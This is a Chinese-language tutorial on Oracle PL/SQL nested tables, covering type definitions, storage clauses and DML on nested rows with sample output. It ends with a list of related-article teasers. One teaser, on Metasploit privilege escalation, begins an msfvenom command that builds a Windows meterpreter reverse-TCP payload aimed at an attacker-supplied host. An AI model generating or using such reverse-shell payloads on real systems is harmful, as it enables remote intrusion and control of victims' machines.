嵌套表用法详解(PLSQL)
嵌套表
嵌套表是一种类似于索引表的结构,也可以用于保存多个数据,而且也可以保存复合类型的数据
嵌套表指的是一个数据表定义事同时加入了其他内部表的定义,这一概念是在oracle 8中引入的,它们可以使用SQL进行访问,也可以进行动态扩展。
创建表指定嵌套表存储空间名称
Create table 表名称(
字段名称 类型
……
嵌套表字段名称 嵌套表类型
)NESTED TABLE 嵌套表字段名称 STORE AS 存储空间名称;
定义部门表
DROP TABLE department
Create table department(
Did number,
Deptname varchar(30) not null,
Projects project_nested,
Constraint pk_did primary key(did)
)NESTED TABLE projects STORE AS projects_nested_table;
创建新的对象类型
Create type 类型名称 AS OBJECT(
列名称 数据类型,
列名称 数据类型,
……
列名称 数据类型
);
/
范例:创建一个表示项目类型的对象
Create or replace type kingsql_type as object(
Projectid number,
Projectname varchar(50),
Projectfunds number,
Pubdate date
);
/
CREATE OR REPLACE TYPE kingsql_type AS OBJECT(
projectid NUMBER ,
projectname VARCHAR(50),
projectfunds NUMBER ,
pubdate DATE
) ;
定义嵌套表类型——project_nested
CREATE OR REPLACE TYPE kingsql_nested AS TABLE OF kingsql_type NOT NULL ;
CREATE TABLE department_01 (
did NUMBER ,
deptname VARCHAR(50) NOT NULL ,
qt_column kingsql_nested
) NESTED TABLE qt_column STORE AS kingsql_nested_t1((
projectid NOT NULL ,
projectname NOT NULL ,
projectfunds NOT NULL ,
pubdate NOT NULL)) ;
嵌套表插入数据
insert into department_01 values(
1,--第一列
'hehe1',--第二列
kingsql_nested(kingsql_type(1,'hehe1',1,sysdate),kingsql_type(11,'hehe11',11,sysdate))); 第三列第一行/第三列第二行
插入数据
declare
v1 kingsql_nested:=kingsql_nested(kingsql_type(2,'haha2',2,sysdate));
begin
insert into department_01
values(1,'hehe1',kingsql_nested(kingsql_type(1,'hehe1',1,sysdate),kingsql_type(11,'hehe11',11,sysdate)));
insert into department_01 values(2,'haha2',v1);
end;
/
查询嵌套表数据
select * from the(select department_01.qt_column from department_01 where did=1);
PROJECTID PROJECTNAME PROJECTFUNDS PUBDATE
---------- -------------------------------------------------- ------------ -------------------
1 hehe1 1 2018-05-21 14:35:32
11 hehe11 11 2018-05-21 14:35:32
select * from the(select department_01.qt_column from department_01 where did=2);
PROJECTID PROJECTNAME PROJECTFUNDS PUBDATE
---------- -------------------------------------------------- ------------ -------------------
2 haha2 2 2018-05-21 14:35:32
select * from the(select department_01.qt_column from department_01 where did=1) where projectid=1;
PROJECTID PROJECTNAME PROJECTFUNDS PUBDATE
---------- -------------------------------------------------- ------------ -------------------
1 hehe1 1 2018-05-21 14:35:32
直接插入嵌套表数据
insert into the(select department_01.qt_column from department_01 where did=1) values(111,'hehe111',111,sysdate);
Select * from the(select department_01.qt_column from department_01 where did=1);
循环插入一百行
declare
x number:=3;
begin
for x in 3..103 loop
insert into the(select department_01.qt_column from department_01 where did=2) values(x,'hehe',111,sysdate);
end loop;
commit;
end;
直接更新嵌套表数据
update the(select department_01.qt_column from department_01 where did=1) set projectid=1111 where projectid=1;
commit;
select * from the(select department_01.qt_column from department_01 where did=1)
直接删除嵌套表数据
delete the(select department_01.qt_column from department_01 where did=1) where projectid=1111;
commit;
select * from the(select department_01.qt_column from department_01 where did=1);
DROP TABLE department_01 PURGE ; 从回收站删除
嵌套表用法详解(PLSQL)的更多相关文章
- 1:CSS中一些@规则的用法小结 2: @media用法详解
第一篇文章:@用法小结 第二篇文章:@media用法 第一篇文章:@用法小结 这篇文章主要介绍了CSS中一些@规则的用法小结,是CSS入门学习中的基础知识,需要的朋友可以参考下 at-rule ...
- oracle数据库定时任务dbms_job的用法详解
本文来源:Ruthless <oracle数据库定时任务dbms_job的用法详解> 一.dbms_job涉及到的知识点 1.创建job: variable jobno number; ...
- 【转】 #define用法详解
#define用法详解 1.#define 的作用 在C或C++语言源程序中允许用一个标识符来表示一个字符串,称为“宏”.被定义为“宏”的标识符称为“宏名”.在编译预处理时,对程序中所有出现的“宏 ...
- Vue1.0用法详解
Vue.js 不支持 IE8 及其以下版本,因为 Vue.js 使用了 IE8 不能实现的 ECMAScript 5 特性. 开发环境部署 可参考使用 vue+webpack. 基本用法 1 2 3 ...
- C#中string.format用法详解
C#中string.format用法详解 本文实例总结了C#中string.format用法.分享给大家供大家参考.具体分析如下: String.Format 方法的几种定义: String.Form ...
- mysql中event的用法详解
一.基本概念mysql5.1版本开始引进event概念.event既“时间触发器”,与triggers的事件触发不同,event类似与linux crontab计划任务,用于时间触发.通过单独或调用存 ...
- CSS中伪类及伪元素用法详解
CSS中伪类及伪元素用法详解 伪类的分类及作用: 注:该表引自W3School教程 伪元素的分类及作用: 接下来让博主通过一些生动的实例(之前的作业或小作品)来说明几种常用伪类的用法和效果,其他的 ...
- jQuery 事件用法详解
jQuery 事件用法详解 目录 简介 实现原理 事件操作 绑定事件 解除事件 触发事件 事件委托 事件操作进阶 阻止默认事件 阻止事件传播 阻止事件向后执行 命名空间 自定义事件 事件队列 jque ...
- SVN组成中trunk,branches and tags功能用法详解
SVN组成中trunk,branches and tags功能用法详解 我相信初学开发在SVN作为版本管理时,都估计没可能考虑到如何灵活的运用SVN来管理开发代码的版本,下面我就摘录一篇文章来简单说 ...
随机推荐
- Push to origin/master was rejected (Git提交错误)(转)
[问题描述] 在使用Git Push代码的时候,会出现 Push to origin/master was rejected 的错误提示. 在第一次提交到代码仓库的时候非常容易出现,因为初始化的仓库和 ...
- Msf提权步骤
1.生成反弹木马(脚本,执行程序) msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=&l ...
- 【iCore4 双核心板_FPGA】例程六:触发器实验——触发器的使用
实验现象: 按下按键,绿色led亮灭交互: //--------------------module_rst_n---------------------------// module trigger ...
- 小矮人Javascript模块加载器
https://github.com/miniflycn/webkit-dwarf 短小精悍的webkit浏览器Javascript模块加载器 Why 我们有许多仅基于webkit浏览器开发的应用 无 ...
- 基于AC有限状态机的多模匹配算法
参考链接:http://www.cnblogs.com/zzqcn/p/3525636.html 感谢原文作者. 花了两天半时间实现并测试了算法. 按照上文的思路实现了一遍,可能是原文中有些地方描述的 ...
- 第三百九十六节,Django+Xadmin打造上线标准的在线教育平台—其他插件使用说,自定义列表页上传插件
第三百九十六节,Django+Xadmin打造上线标准的在线教育平台—其他插件使用说,自定义列表页上传插件 设置后台列表页面字段统计 在当前APP里的adminx.py文件里的数据表管理器里设置 ag ...
- Hibernate HQL的使用
1.简单查询(查询所有) Session session=HibernateUtil.getSessionFactory().getCurrentSession(); Transaction tx=s ...
- ThinkingInJava 学习 之 0000003 控制执行流程
1. if-else 2. 迭代 1. while 2. do-while 3. for 4. 逗号操作符 Java里唯一用到逗号操作符的地方就是for循环的控制表达式. 在控制表达式的初始化和步进控 ...
- 【CF573D】Bear and Cavalry 线段树
[CF573D]Bear and Cavalry 题意:有n个人和n匹马,第i个人对应第i匹马.第i个人能力值ai,第i匹马能力值bi,第i个人骑第j匹马的总能力值为ai*bj,整个军队的总能力值为$ ...
- 【BZOJ4637】期望 Kruskal+矩阵树定理
[BZOJ4637]期望 Description 在米国有一所大学,名叫万国歌剧与信息大学(UniversalOperaandInformaticasUniversity).简称UOI大学.UOI大学 ...